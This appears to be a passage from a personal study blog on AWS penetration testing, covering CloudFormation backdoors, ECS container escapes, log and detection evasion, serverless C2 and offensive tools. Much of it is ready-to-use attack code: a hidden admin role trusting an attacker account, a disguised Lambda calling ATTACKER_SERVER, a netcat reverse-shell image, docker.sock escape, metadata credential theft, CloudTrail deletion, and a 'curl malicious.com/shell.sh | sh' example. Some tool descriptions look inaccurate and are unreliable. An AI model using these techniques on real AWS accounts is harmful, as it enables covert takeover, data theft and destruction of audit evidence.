An attacker can create an IAM role and allow themselves to AssumeRole, giving them long-term access to the AWS account:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21


AWSTemplateFormatVersion: '2010-09-09'
Resources:
 HiddenIAMRole:
 Type: AWS::IAM::Role
 Properties:
 RoleName: "AWS-Support-Role"
 AssumeRolePolicyDocument:
 Version: "2012-10-17"
 Statement:
 - Effect: Allow
 Principal:
 AWS: "ATTACKER_AWS_ACCOUNT_ID"
 Action: "sts:AssumeRole"
 Policies:
 - PolicyName: "HiddenAdminPolicy"
 PolicyDocument:
 Version: "2012-10-17"
 Statement:
 - Effect: Allow
 Action: "*"
 Resource: "*"

How to run it

1

aws cloudformation create-stack --stack-name IAMBackdoor --template-body file://hidden-role.yaml

Result

Creates the AWS-Support-Role** role, which looks like an official AWS support account and is less likely to make an administrator suspicious.**
The attacker’s account can use sts:AssumeRole** at any time. Even if an administrator deletes the users in the AWS account, the attacker can still access AWS.**

4. Inject Malicious Code Through Lambda

An attacker can use CloudFormation to deploy a malicious Lambda function and execute code inside AWS:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


AWSTemplateFormatVersion: '2010-09-09'
Resources:
 MaliciousLambda:
 Type: AWS::Lambda::Function
 Properties:
 FunctionName: "AWSMonitor"
 Runtime: "python3.8"
 Role: "arn:aws:iam::123456789012:role/LambdaExecutionRole"
 Handler: "index.lambda_handler"
 Code:
 ZipFile: |
 import os
 import subprocess
 def lambda_handler(event, context):
 subprocess.call("curl -X POST -d 'AWS Access Compromised' http://ATTACKER_SERVER", shell=True)
 return "Executed"

How to run it

1

aws cloudformation create-stack --stack-name LambdaBackdoor --template-body file://malicious-lambda.yaml

Result

Creates the AWSMonitor** Lambda function, disguised as an AWS monitoring tool so that administrators are less likely to notice it.**
When Lambda runs, it sends data to the attacker’s server, and the attacker can use it to execute remote commands.

One more point here: the important thing with CloudFormation is knowing how to use it. There is no need to study it obsessively in depth; you could even have AI produce the result. The boto3 library in Lambda is different, though. You need to use it often, it can do a lot of things, and you absolutely have to learn it.

ECS Container Escape

ECS is a container orchestration service provided by AWS. You can think of it as AWS’s version of a Docker management platform, similar to Kubernetes (though not exactly the same).

ECS escape mainly involves two modes:

ECS on EC2: ECS running on EC2, where the attack target is the underlying EC2 instance.
ECS on Fargate: A serverless way to run ECS, where the goal is to escape to other AWS resources (such as IAM, S3, and so on).

Outline

1. Privileged container mode (I won’t reproduce native docker penetration techniques here, only set up the environment to understand the architecture)

Goal: Use a privileged container running on ECS to escape to the host Attack methods:

If the task definition enables privileged: true, you can directly use chroot to enter the host
Use cap_add: SYS_ADMIN to access the ECS host’s cgroup or /proc
Run a --privileged container to gain root privileges on the ECS host

2. Abusing ECS task definitions (key section)

Goal: Execute malicious commands through a misconfigured ECS task definition Attack methods:

Deploy a malicious image (containing a reverse shell)
Add credentials as environment variables in the task definition (to steal AWS access keys)
Mount /var/run/docker.sock to access the host’s Docker API (Docker API escape)

3. Mount escape (I won’t reproduce native docker penetration techniques here)

Goal: Use --mount type=bind to access the ECS host’s file system Attack methods:

Mount /root/.aws/credentials to access AWS credentials
Mount the /etc/ directory to obtain sensitive configuration from the ECS host
Mount /var/lib/docker/ to directly manipulate the Docker file system and access other containers

4. API Credential leakage (I’ve already studied this, so I won’t reproduce it)

Goal: ECS tasks may contain AWS IAM role credentials, allowing lateral movement through the cloud environment Attack methods:

Access the AWS metadata service through an ECS container

1

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

Obtain the ECS task’s IAM Role and use aws configure to access the AWS API
Steal AWS access keys and try to access S3, EC2, and DynamoDB

Privileged Container Escape

How It Works

Use privileged mode (--privileged), mount /, and access the ECS host

Environment Setup

I originally copied and pasted all the steps so you could simply follow them one by one, but it wasn’t actually that easy. I got stuck here for an entire day and spent that day learning how ECS works. Its architecture is seriously impressive, so it took me quite a while to learn. That’s exactly why I deleted the original written steps and used images to show the environment setup instead. If you’re interested in this service, you can go through every step I took and learn how it works. This isn’t a basic concept, and once you’ve learned the steps below, you’ll pretty much know how to use it.

Just click Create. The next step is the task definition. Once the setup is complete, I’ll explain how these pieces connect to one another and what the architecture looks like.

Just click Create. Next, enable privileged mode (there is no option for privileged mode, so you can only edit the json).

1

sleep,infinity

Just click Create. A single wrong step can cause it to fail. Pay particular attention to adding the comma in the command field—I was stuck on this for quite a while too.

Now that we’ve reached this point, let me first explain the overall process. When creating the cluster, select the free EC2 option, open port 22 in the security group, and set the minimum value to 1. This way, an EC2 instance will be created automatically when you finish creating the cluster. What happens if the minimum is still left at the default value of 0? You either have to create an EC2 instance yourself and add it to ECS, or every time you start a task like the one above, it will create an EC2 instance by itself and run the task. You can see how troublesome it would be to start another EC2 instance as the physical machine for docker when the minimum value is 0. That finishes the cluster. Now let’s look at what a task definition actually is. A task definition mainly describes what you want to run. You define things like: How many resources does it need? What image does it need? What services should be mapped? Can it interact with AWSAPI? All of that can be defined here. In other words, this defines the kind of docker service you want to run. The cluster is essentially a collection of docker instances, and here we’ve just defined one type of docker. Next, we need to deploy that docker to the cluster. This is the final task deployment step: we deploy the task we just defined to the EC2 instance in the cluster we created, and we also override its command. Why do we override the command with sleep infinity?

Let me use a separate paragraph to explain the definitions of tasks and services.

A task simply ends once it has finished running. For example, scheduled jobs, machine learning training jobs, and other one-off tasks are done as soon as they finish running; they don’t need to keep running. When you want to run a long-lived service such as nginx, you need to create a service. That’s the basic idea. This is also why we write sleep infinity: it keeps the task alive; otherwise, it shuts down immediately after it finishes. You can try leaving out sleep infinity. After submitting the task, you’ll immediately see a message in the cluster saying that the task has ended. The two are not fundamentally all that different, and it isn’t really a matter of one being more convenient than the other. Tasks are simply better for understanding the basic concepts because the logic is very clear. I won’t set up a service later on either.

Overall, this is still very complicated and may be quite hard to understand. Try setting up the whole thing yourself once, and it should start to make sense.

Reproduction and Verification

Use SSH to log in to the EC2 instance we just created.

The agent comes preinstalled. The one above it is the docker task we created. (If you don’t use the automatic method to create a physical machine for docker and configure it yourself instead, you’ll need to install this agent.)

Because of the configuration we just made, this is already running in privileged mode.

That’s as far as we’ll go here. Everything after this is the classic docker privileged-mode escape. If you’re interested, you can find the answer everywhere on Baidu or google. One thing worth noting is that amazonlinux started as a task generally lacks many things because it is so small. Starting it as a service actually gives you a little more. Because of this, some commands used for a privileged-mode escape from a task may not exist. At this point, this is really just a standard docker vulnerability, and this is how it works. ECS is simply a tool similar to K8S for managing docker, nothing more.

Additional Notes

After reading this far, you might feel that we spent all this time setting up ECS only to end up reproducing a vulnerability in docker itself, so why bother with the setup when it is both mentally exhausting and time-consuming? But that isn’t the case. While setting up the environment, we learned how to set up ECS, studied its basic concepts, and understood its architecture. Cloud security isn’t only about attacks; it also includes defense. Many people say you need to understand attacks before you know how to defend against them, but first you have to understand the underlying logic. Take SQL injection, for example. Once you know how injection works, you know how to defend against it. Say you’re given a WAF and asked to block SQL injection. You write a rule that filters out every ‘) at the interface that interacts with the backend database. The attacker discovers that the rule seems to filter ‘), then bypasses it with URL encoding and can still run queries using union, select, sleep, substr, and so on. Once you notice that, you start frantically adding regexes and rules to block those statements, while the attacker keeps trying to bypass them. But did you notice? The underlying principle is still transformed SQL statements and encoding-based bypasses. Only when you truly understand the principles and logic behind SQL injection, and understand how attackers and defenders improve and iterate, can you see the core of offense and defense. Neither side ever escapes the original concepts. This is exactly why you should personally set up ECS once to understand its concepts and architecture. Cloud security always combines offense and defense.

Abusing ECS Task Definitions

1. Exploit ECS task-definition misconfigurations to execute malicious commands or steal credentials

2. Exploit ECS task-definition errors to gain access to the ECS host

3. Mount the host’s Docker API through an ECS task definition to access other containers

I won’t set up environments for these three methods. The explanations should be clear enough, and they’re all fairly simple overall.

1. Deploying a Malicious Image

ECS lets users create their own task definitions (Task Definition) and then pull and run images from ECR (Elastic Container Registry) or Docker Hub.

If an attacker can create or modify an ECS task definition, they can deploy a backdoored malicious image, for example:

An image with a built-in reverse Shell
An image with built-in AWS access keys
An image with a built-in scheduled task that periodically uploads sensitive data

The attacker uploads a malicious image

Build an image containing a reverse Shell:

1
2
3


FROM ubuntu
RUN apt update && apt install -y netcat
CMD /bin/bash -c "while true; do nc -e /bin/bash attacker-ip 4444; sleep 10; done"

Push it to your own ECR

1
2
3
4


docker build -t my-malicious-image .
aws ecr create-repository --repository-name evil-repo
docker tag my-malicious-image <aws-account-id>.dkr.ecr.us-east-1.amazonaws.com/evil-repo:latest
docker push <aws-account-id>.dkr.ecr.us-east-1.amazonaws.com/evil-repo:latest

Modify the ECS task definition
Change the image in the task definition to the malicious image:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


{
 "containerDefinitions": [
 {
 "name": "evil-container",
 "image": "<aws-account-id>.dkr.ecr.us-east-1.amazonaws.com/evil-repo:latest",
 "cpu": 512,
 "memory": 512,
 "essential": true
 }
 ]
}

Register the ECS task definition and run the task

1
2


aws ecs register-task-definition --cli-input-json file://evil-task.json
aws ecs run-task --cluster my-cluster --task-definition evil-task

The attacker remotely controls the ECS task
Once the ECS task starts, it automatically opens a reverse Shell:

1

nc -lvnp 4444

The attacker gains control of the ECS container and can continue attacking the ECS host or AWS resources

Let’s talk about why the target would end up using our image. There are three main methods that can be combined: supply-chain attacks (tampering with a vendor image), image-name confusion attacks, and AWS ECS task-definition errors. These methods are pretty easy to understand, and there’s plenty about them online if you search.

2. Adding Credentials as Environment Variables in a Task Definition

ECS allows environment variables in task definitions. If an administrator accidentally hardcodes AWS keys in those environment variables, an attacker can obtain them.

View the current task’s environment variables

1

env

If it returns:

1
2


AWS_ACCESS_KEY_ID=AKIAXXXX
AWS_SECRET_ACCESS_KEY=XXXXXX

This means the ECS task has stored the AWS keys in environment variables, and an attacker can use them directly.

3. Mounting `/var/run/docker.sock` to Access the Host

An ECS task can mount the host’s docker.sock. If an administrator misconfigures it, an attacker can directly control Docker on the host and escape to the ECS host.

Mount docker.sock in the ECS task definition

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


{
 "containerDefinitions": [
 {
 "name": "privileged-container",
 "image": "ubuntu",
 "mountPoints": [
 {
 "sourceVolume": "docker-sock",
 "containerPath": "/var/run/docker.sock"
 }
 ]
 }
 ],
 "volumes": [
 {
 "name": "docker-sock",
 "host": {
 "sourcePath": "/var/run/docker.sock"
 }
 }
 ]
}

Once the ECS task is running, the attacker can directly control Docker from inside the container
Enter the container

1

docker exec -it ecs-privileged-container /bin/bash

Use docker.sock to control the ECS host

1
2


docker -H unix:///var/run/docker.sock ps
docker -H unix:///var/run/docker.sock run -it --privileged ubuntu bash

The attacker creates a new privileged container to escape from the ECS container

1
2


docker -H unix:///var/run/docker.sock run -it --privileged -v /:/host ubuntu bash
chroot /host

ECS on Fargate Penetration & Escape

All the scenarios mentioned earlier involved exploiting EC2 instances running as Docker hosts. In practice, they were all native Docker vulnerabilities, nothing particularly special. The abuse section then touched on a few AWS exploitation techniques, but that was really all there was to it. So what exactly is the Fargate option we have not used? It is actually an AWS serverless container service. You do not need to manage EC2 yourself; AWS handles it for you. So how do you penetrate it? Based on what we learned above, there is essentially no path for breaking out. Breaching the underlying AWS Fargate infrastructure would be a pipe dream for us. The methods available are still the basic ones. Forget about Docker vulnerabilities: you will not be given privileged mode or anything like that. There is no mystery here; it is actually very simple, so just make a note of it.

When a Fargate task runs, AWS automatically assigns it an IAM Role for accessing AWS resources. From inside the Fargate task, you can access the metadata service (IMDSv2) to obtain temporary access credentials. This is ECS metadata exploitation; just look up the commands. I am only showing the principle here.
A Fargate task’s task definition (Task Definition) may contain environment variables or mounted sensitive files. If an administrator misconfigures it, an attacker may obtain AWS access keys, read database passwords, or access sensitive S3 resources. In practice, this just means checking env for keys, looking for /root/.aws/credentials, and searching for files such as find / -name “*.pem”.
Fargate tasks can run in a public subnet or a private subnet. If an administrator misconfigures them:

An attacker can use a Fargate task to access internal services in the AWS VPC
An attacker can use a Fargate task to access other AWS resources
An attacker can use a Fargate task as a proxy server

Finding a Fargate task’s network configuration

1
2


ip a
route -n

If eth0 is bound to a VPC CIDR, the Fargate task is running in a private subnet
If route -n contains 0.0.0.0/0, the Fargate task can access the Internet
Using a Fargate task to access internal AWS resources

1
2


nc -z -v internal-rds.amazonaws.com 3306
nc -z -v internal-elasticsearch.amazonaws.com 9200

Using a Fargate task to establish a reverse proxy

1

ssh -R 8080:internal-rds.amazonaws.com:3306 attacker@remote-server

The third point is slightly more complicated, so it deserves a separate explanation. A VPC can have many different network configurations. If all kinds of AWS services are running across its subnets, we can build a tunnel to access them. You can think of it as entering the cloud-side internal network of the target AWS account. There may be a bunch of EC2 instances inside, or other things as well. From there, it is simply a matter of lateral movement through the cloud.

Additional ECS Container Exploitation

Abusing ECS Exec

Legitimate purpose: AWS ECS Exec is designed to provide debugging capabilities, allowing operations staff to enter a container directly through the AWS CLI or console and execute commands, such as checking logs or debugging services.
Core requirements:

The task definition must enable "enableExecuteCommand": true.
The operator must have the ecs:ExecuteCommand IAM permission.

Attack Scenarios and Exploitation Conditions

Prerequisites

Credential exposure: The attacker has obtained IAM credentials with the ecs:ExecuteCommand permission, such as a developer account or an overprivileged role.
Task misconfiguration: enableExecuteCommand is enabled in the task definition, and the relevant permissions have not been restricted.

Enumerate executable tasks:

1
2
3
4
5
6


# List all ECS clusters
aws ecs list-clusters
# List tasks in the cluster
aws ecs list-tasks --cluster <CLUSTER_NAME>
# Check whether Exec is enabled for the task
aws ecs describe-tasks --cluster <CLUSTER> --tasks <TASK_ID> | grep "enableExecuteCommand"

Enter the container through Exec:

1
2
3
4
5
6
7


# Use the AWS CLI to execute a command (for example, start an interactive shell)
aws ecs execute-command \
 --cluster <CLUSTER_NAME> \
 --task <TASK_ID> \
 --container <CONTAINER_NAME> \
 --command "/bin/sh" \
 --interactive

If successful, the attacker gains Shell access inside the container.

Conclusion to Advanced Attack Techniques

At this point, we have essentially covered every part of AWS penetration testing. The advanced techniques are clearly much harder than the earlier material. The earlier sections focused on basic service exploitation methods, standard penetration-testing workflows, and so on, whereas advanced attacks involve combining multiple services.

Take leaked AWS CLI credentials as an example. The basics only teach what a particular permission does, how to reproduce the scenario, and how to use that permission for penetration testing. The advanced material is more about finding leaks, escalating privileges, and establishing persistence. It brushes over the basics and only mentions which permissions exist and which permissions can be combined for an attack. It no longer spends ages on any single service. Like the outline headings suggest, it combines techniques, ideas, and methods.

Then there are malicious CloudFormation templates. While learning them, you might think, “How is this any different from before? Aren’t we still just learning all the services in CloudFormation?” The difference is that you first need to understand the characteristics of every service. We know that CloudFormation templates can be used in penetration testing and can obtain extensive permissions, but do you know how to create a highly privileged user or role? The template runs without returning output, so how do you retrieve the generated key? It is more like a collection of exploitation techniques spanning every service, with the CloudFormation template serving as the vehicle. It can control all AWS services, and learning to use it assumes that you already know all those AWS services.

The final topic is ECS containers. I wrote a few thoughts at the end of the ECS container escape section. Most people probably assume that learning to penetrate ECS simply means learning Docker penetration testing, and everyone knows that ECS resembles K8S. But ECS lives in the cloud. It is not limited to attacks involving Docker access; there is a cloud side as well. Anyone who has finished building an ECS environment knows that the setup is somewhat complicated, which also shows how well designed the architecture is. When learning AWS cloud security, you cannot focus solely on attack techniques and commands. It is not enough if you do not understand the logic behind them. After you have fallen into a pile of traps while setting up ECS and finally get it working, you understand the principles behind the service.

In reality, offense and defense are inseparable, and studying both is extremely important for understanding. It means you can work on both blue and red teams, with each side helping the other grow. By this point, you have also learned a great deal about AWS services and discovered that even the free offerings can do a lot. As I said in the AWS fundamentals section, you can already try building a website, creating a storage bucket for files, and much more. This section covered a lot of penetration-testing material, which means that after building your own environment, you can try establishing a security baseline for your AWS services. Once you understand how they are attacked, you know what areas your defenses should focus on.

There is one final major module left in AWS penetration testing —– defense evasion techniques

Defense Evasion Techniques

This part is extremely difficult, but it is also very useful. For the most part, I will only list a heading and explain the principle, since implementation is somewhat difficult. Experts can try implementing these techniques themselves. Once I have finished more of my studies, I will also start moving in this direction.

AWS has several security monitoring and logging mechanisms, such as:

GuardDuty (intrusion detection) CloudTrail (API event logs) VPC Flow Logs (traffic monitoring) AWS Config (compliance monitoring)

The attacker’s goal is to bypass these monitoring mechanisms and hide malicious actions.

GuardDuty Evasion Techniques

Low-Frequency API Calls

Principle: AWS GuardDuty uses machine learning models to detect abnormal API activity, such as high-frequency operations and cross-region calls. By reducing the frequency of sensitive operations (for example, to once per hour), it may be possible to evade statistics-based detection rules.
Example:

1
2
3
4
5


# Exfiltrate the S3 object list once per hour
while true; do
 aws s3 ls s3://sensitive-bucket --region us-west-1 >> /tmp/result.txt
 sleep 3600 # One-hour interval
done

Defensive detection:

Enable GuardDuty Threat Lists to flag known malicious IPs.
Use custom Security Hub rules to match low-frequency sensitive operations, such as running iam:CreateUser once per hour.
Analyze time-series patterns in CloudTrail logs to identify periodic behavior.

Proxying Traffic Through Legitimate Services

Principle: Forward malicious traffic through native AWS services such as Lambda and API Gateway, causing GuardDuty to identify the attack traffic as legitimate service activity.
Example (Lambda proxy for C2):

Create a malicious Lambda function:

1
2
3
4
5
6


import os
def lambda_handler(event, context):
 # Receive a Base64-encoded command from API Gateway
 command = event['queryStringParameters']['cmd']
 result = os.popen(command).read()
 return {'statusCode': 200, 'body': result}

Trigger it through API Gateway:

1
2


# Send an encoded command (avoid plaintext logging)
curl "https://xxx.execute-api.region.amazonaws.com/prod?cmd=$(echo 'whoami' | base64)"

Defensive detection:

Monitor Lambda cold-start frequency and abnormal execution times, such as functions that run for a long time.
Enable VPC Traffic Mirroring to capture outbound traffic from Lambda functions.
Use GuardDuty’s Backdoor:EC2/LambdaClient rule to detect suspicious function calls.
The encryption method can be customized; both RSA and AES will work.

Deleting CloudTrail Logs

Deleting a Specific Log Trail

Commands:

1
2
3
4


# Delete the default CloudTrail trail
aws cloudtrail delete-trail --name Default
# Stop logging
aws cloudtrail stop-logging --name Default

Evasion effect: This prevents new logs from being generated, but historical logs remain stored in the S3 bucket and require separate cleanup.
Defensive measures:

Enable Multi-Region Trail logging to prevent logs from being deleted in a single region.
Enable S3 versioning + MFA Delete to prevent log files from being overwritten.
Restrict IAM permissions so that non-administrator users cannot perform cloudtrail:DeleteTrail or cloudtrail:StopLogging.

Erasing Historical Logs

Example:

1
2
3
4
5


# If a dedicated log bucket exists, identify it before clearing anything; do not delete indiscriminately
# Empty the associated S3 log bucket
aws s3 rm s3://cloudtrail-bucket --recursive
# Delete the S3 bucket
aws s3 rb s3://cloudtrail-bucket --force

Defensive measures:

Configure S3 Object Lock to make log files undeletable.
Enable an AWS Organizations Service Control Policy (SCP) to prevent member accounts from changing logging configurations.

Hiding the IP Address (Serverless C2)

Reverse Proxy with Lambda + API Gateway

Architecture:

Attacker → API Gateway → Lambda (forwards requests) → controlled container/EC2 → S3 bucket (stores results)

Steps:

Create a Lambda forwarder

1
2
3
4
5
6
7
8
9


import boto3
def lambda_handler(event, context):
 s3 = boto3.client('s3')
 # Receive a command from API Gateway and write it to S3
 cmd = event['queryStringParameters']['cmd']
 s3.put_object(Bucket='c2-bucket', Key='commands/latest', Body=cmd)
 # Read the execution result
 response = s3.get_object(Bucket='c2-bucket', Key='results/latest')
 return {'statusCode': 200, 'body': response['Body'].read()}

Periodically fetch commands from inside the container

1
2
3
4
5
6
7


# Scheduled task in the controlled container
while true; do
 aws s3 cp s3://c2-bucket/commands/latest - > /tmp/cmd.sh
 sh /tmp/cmd.sh > /tmp/result.txt
 aws s3 cp /tmp/result.txt s3://c2-bucket/results/latest
 sleep 300
done

Stealth advantages:

All communications pass through AWS’s internal network, with the source IP shown as lambda.amazonaws.com.
API Gateway supports HTTPS encryption, making the traffic look no different from normal business traffic.

This is a little complicated, but it is extremely useful (you will need to learn the boto3 library). It is essentially serverless C2. The main goal is to control the target container or EC2 without being discovered. As shown in the architecture above, the attacker uses an API to control the Lambda forwarder. So what exactly is API Gateway? It is basically a trigger, and you can find it in the service. Once the trigger has been defined, you can append a command to the URL.

1

curl -X GET "https://xxx.execute-api.region.amazonaws.com/prod?cmd=bHMgaS9ldGM="

This effectively passes the command into cmd. Now let’s look at the received json.

1
2
3
4
5
6
7
8
9


# Example event structure received by the Lambda function
{
 "queryStringParameters": {
 "cmd": "bHMgaS9ldGM=" # Base64 encoding of "ls /etc"
 }
}

# This locates the Base64-encoded command, so the script defines it as follows
# cmd = event['queryStringParameters']['cmd']

Of course, Base64 decoding and so on would still be needed, but that was not included. In short, Lambda receives the command, and the Lambda code automatically writes that command to results/latest in the bucket. Once the command has been stored, how does the controlled EC2 execute it? You can use a scheduled task that runs every hour or perhaps every half hour; either works. The scheduled task mainly downloads the file from results/latest, names it xxxx.sh, executes it, writes the result to /tmp/result.txt, and then uploads it back to the S3 bucket, perhaps at results/result.txt, though it can be anywhere. So how should it be read? Reading it directly could still get you discovered. You can instead use Lambda + API Gateway again and set up an API trigger that takes no parameters. Visiting it will automatically return the contents of the file at results/result.txt in the S3 bucket. That makes the architecture pretty much perfect.

This is only one possible route. You can add a great many things to it in practice, and this idea can be extended into many other methods. Now let’s look at the defensive side.

Detection points:

API Gateway request frequency: Frequent calls may trigger GuardDuty’s TTP:Discovery/CloudApis.
S3 bucket access patterns: Frequent overwrites of the same path, such as commands/latest.

Defensive recommendations:

Enable access logging and object versioning for S3 buckets to track file changes.
Monitor the number of Lambda executions and S3 write operations, and configure threshold alerts.
Use Macie to automatically scan S3 for sensitive data, such as keys in result.txt.

AWS Penetration Testing Automation Tools

1. Cloud Environment Reconnaissance & Asset Discovery

(1) Pacu

Purpose: A full-spectrum AWS environment attack framework that supports modular attacks such as privilege escalation, backdoor implantation, and data exfiltration.
Key features:
- Automatically enumerates IAM permissions, S3 buckets, EC2 instances, and more.
- Simulates attack chains, such as scanning for privilege escalation paths with iam__privesc_scan.
Project URL: https://github.com/RhinoSecurityLabs/pacu
Usage example:

1
2
3
4


# Initialize and configure AWS keys
pacu
set_keys
run iam__privesc_scan # Scan IAM privilege-escalation paths

(2) CloudMapper

Purpose: Visually analyzes AWS environments, including VPC, IAM, S3, and more, and generates a network topology map.
Key features:
- Maps cross-region VPC connections.
- Flags public S3 buckets and EC2 security groups.
Project URL: https://github.com/duo-labs/cloudmapper
Usage example:

1
2


python3 cloudmapper.py collect --account my-account
python3 cloudmapper.py report --account my-account

2. Privilege Escalation & Vulnerability Exploitation

(1) WeirdAAL

Purpose: Automatically detects abuse of AWS API permissions, such as sts:AssumeRole and iam:CreateUser.
Key features:
- Quickly scans IAM policies for dangerous permissions.
- Generates reproducible attack code in Python.
Project URL: https://github.com/carnal0wnage/weirdAAL
Usage example:

1

python3 weirdAAL.py -m iam_createaccesskey

(2) AWS PWN

Purpose: An automated privilege escalation tool covering more than 20 privilege escalation paths across services such as EC2, Lambda, and S3.
Key features:
- Detects abuse of EC2 instance role permissions.
- Uses Lambda functions to execute code and steal metadata.
Project URL: https://github.com/dagrz/aws_pwn
Usage example:

1

python3 aws_pwn.py --profile victim-profile --module lambda_backdoor

3. Buckets & Data Exposure

(1) S3Scanner

Purpose: Scans public S3 buckets in bulk and detects sensitive files such as credentials and config.
Key features:
- Supports custom keyword filters such as AKIA and secret.
- Exports readable reports in CSV/JSON format.
Project URL: https://github.com/sa7mon/S3Scanner
Usage example:

1

python3 s3scanner.py --bucket names.txt --keywords secrets.txt

(2) bucket-stream

Purpose: Monitors newly created S3 buckets in real time and checks for public access permissions.
Key features:
- Uses CertStream to monitor domain changes and discover related buckets.
- Automatically flags high-risk buckets, such as those in website mode.
Project URL: https://github.com/eth0izzle/bucket-stream
Usage example:

1

python3 bucket-stream.py --firehose

4. Lateral Movement & Backdoor Implantation

(1) Cloudsplaining

Purpose: Analyzes excessive permissions in IAM policies and generates an attack path diagram.
Key features:
- Flags iam:PassRole and sts:AssumeRole permissions that could enable privilege escalation.
- Outputs an HTML visualization report.
Project URL: https://github.com/salesforce/cloudsplaining
Usage example:

1
2


cloudsplaining download --profile default
cloudsplaining scan --input-file default.json

(2) Lambda-Proxy

Purpose: A serverless reverse proxy based on Lambda and API Gateway that enables covert C2 communications.
Key features:
- Supports HTTPS-encrypted traffic.
- Dynamically generates random API paths to evade WAF detection.
Project URL: https://github.com/pumasecurity/lambda-proxy
Usage example:

1
2


serverless deploy --stage prod # Deploy to AWS
curl https://xxx.execute-api.region.amazonaws.com/prod/command?cmd=whoami

5. Log Cleanup & Anti-Detection

(1) CloudTrail Mutator

Purpose: Automatically cleans up CloudTrail logs and deletes specified event records.
Key features:
- Supports fuzzy keyword matching, such as DeleteTrail and StopLogging.
- Bypasses multi-region log backup mechanisms.
Project URL: https://github.com/Anon-Exploiter/CloudTrail-Mutator
Usage example:

1

python3 cloudtrail_mutator.py --profile target --filter "DeleteTrail"

(2) GuardDog

Purpose: Emulates GuardDuty detection logic to test whether attack techniques can be detected.
Key features:
- Generates simulated attack events such as PenTest:IAMUser/KaliLinux.
- Outputs an estimate of the probability of a GuardDuty alert.
Project URL: https://github.com/DataDog/guarddog
Usage example:

1

guarddog simulate --attack "S3:GetObjectAnonymously"

6. Advanced Covert Communications

(1) AWS Lambda C2

Purpose: A serverless C2 framework built entirely on Lambda and S3 that supports encrypted command delivery.
Key features:
- Stores commands in fragments to evade frequency-based detection.
- Automatically cleans up results to reduce log residue.
Project URL: https://github.com/0x4D31/aws-lambda-c2
Usage example:

1
2
3
4


# Deploy the backdoor
python3 deploy.py --region us-west-1
# Send a command
python3 c2-client.py --command "curl http://malicious.com/shell.sh | sh"

(2) S3C2

Purpose: Uses an S3 bucket as a covert communication channel, supporting file transfers and command execution.
Key features:
- Uses presigned URLs to update commands dynamically.
- Encrypts communication content with AES-256.
Project URL: https://github.com/blackhat/secutils
Usage example:

1

./s3c2-client.py --bucket my-c2-bucket --get-command

Conclusion on AWS Cloud Security

That essentially wraps up AWS penetration testing. There may be some penetration testing techniques I have not mentioned, but I believe most of them are covered here. In particular, the defense-evasion techniques in the final section are already advanced methods for red-team operations in cloud environments. You only need to learn one of the languages supported by Lambda and how to call AWS resources, and then you can develop a serverless C2. If you know python, you can use RSA/AES to encrypt communications; if you know JAVA, you can also serialize commands. In short, the goal is simply to delay detection for as long as possible. I have now finished the parts I needed to learn. If my future work involves AWS cloud security and gives me the chance to participate in it deeply (apparently this role only exists overseas :?), I can take things another step further. From here on, I will need to rely more on my own exploration. My practical skills and understanding of the services are already very solid; what I still lack is theoretical knowledge. Once I have learned all of this, I can start preparing for the AWS Certified Security certification. Combining theory with hands-on practice is the only way to develop further.

At the moment, I still need to learn the boto3 library, the basics of writing CloudFormation templates, and how other cloud providers such as aliyun differ. After that, I should be more or less done.

AWS Cloud Fundamentals

Mon, 03 Mar 2025 23:26:00 +0800

Getting Ready for AWS

(First, create an account and sign in to AWS. Remember that you initially sign in as the AWS account root user.)

IAM

Like Linux or Windows, which have a highest-privileged root/administrator account, AWS has one too. It feels a little like a domain setup. ROOT has the highest privileges in AWS and can control everything. But everyone knows what happens if you keep using root: if the account gets compromised, the attacker does not even need to escalate privileges—they already have everything. That is why IAM exists.

With IAM, you can create a user and assign access to a service. Say I want to grant someone permissions for S3. AWS asks me to set a username and password, then generates a dedicated URL that can be used to sign in to that account, also known as an IAM account. When you host services such as Tomcat or Nginx locally, they usually run as a user like www-data. This is somewhat similar. The domain analogy comes from the fact that ROOT can change a lot of things, as shown below.

You can create user groups, users, roles, policies, and so on. It feels a lot like a domain. Linux and Windows work similarly too: you can assign roles and define policies, almost like setting a security baseline. The difference is that AWS manages everything centrally and distributes the configuration instead of operating on a single machine, which is why it feels like a domain controller. For the rest of this learning process, we need to create an administrator account.

Creating an Account

Providing AWS Management Console access lets an IAM user work through the web interface (the AWS console), rather than only through the API. I enable everything here because, while learning, I want to understand both the web interface and the API.

Click Next to reach the permissions page.

Create a group directly and choose the first permission. The goal here is to create a group with administrator privileges. If I want to create more users with administrator privileges later, I can simply drop them into this group. If that does not matter to you, click Attach policies directly on the far right and attach AdministratorAccess instead. (The architecture is extremely similar to Windows/Linux account management.)

At the bottom of this page, there is also an option for setting a permissions boundary. This is easy to understand: AdministratorAccess grants all permissions, but if I want an IAM user to manage only EC2 and not S3, I can set that restriction here even if the user belongs to the administrators group.

We do not need this here, so just continue to the next step.

This only adds tags, similar to descriptions for users and user groups. Just click Create user.

Roles

Here is a quick introduction to the roles section.

Normally, two default roles are generated. The important part is the ARN.

Every role has an ARN, somewhat like /etc/passwd on Linux or a SID on Windows. My current understanding is that if you want to learn cloud penetration testing, you have to understand IAM roles because they come into play later during privilege escalation.

As I understand it, an IAM role lets AWS services such as EC2 and Lambda access AWS resources automatically without an API Key. In other words, if one service needs resources from another service, you can configure a role for it. You can retrieve its temporary credentials like this:

1

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

This returns temporary credentials. If you assign the role to EC2, however, you must be logged in to that EC2 instance to access this URL. The address is a special IP, 169.254.169.254, visible only to the current EC2 instance and inaccessible externally. IMDS automatically identifies the EC2 instance and returns temporary credentials for the IAM role currently attached to it.

This is both safe and convenient. If you access a service with an APIKEY as described above, that key is long-lived. Once stolen, an attacker can keep using it for a long time. These temporary credentials usually survive for only an hour, so even if someone obtains them, they will soon be unable to sign in or maintain persistent control.

Advanced IAM Penetration Testing (Paused)

That covers the basic concepts. The penetration-testing topics below are still blank because I have not started studying them yet, but I am leaving the outline here.

1️⃣ Identifying IAM account information

Use aws sts get-caller-identity to retrieve information about the current IAM account
Use aws iam list-users and aws iam list-roles to identify users and roles in the account
Determine AWS account ownership from an IAM ARN

2️⃣ IAM privilege escalation (Privilege Escalation)

Use iam:AttachUserPolicy to attach administrator privileges (AdministratorAccess)
Use sts:AssumeRole to switch to a more privileged role
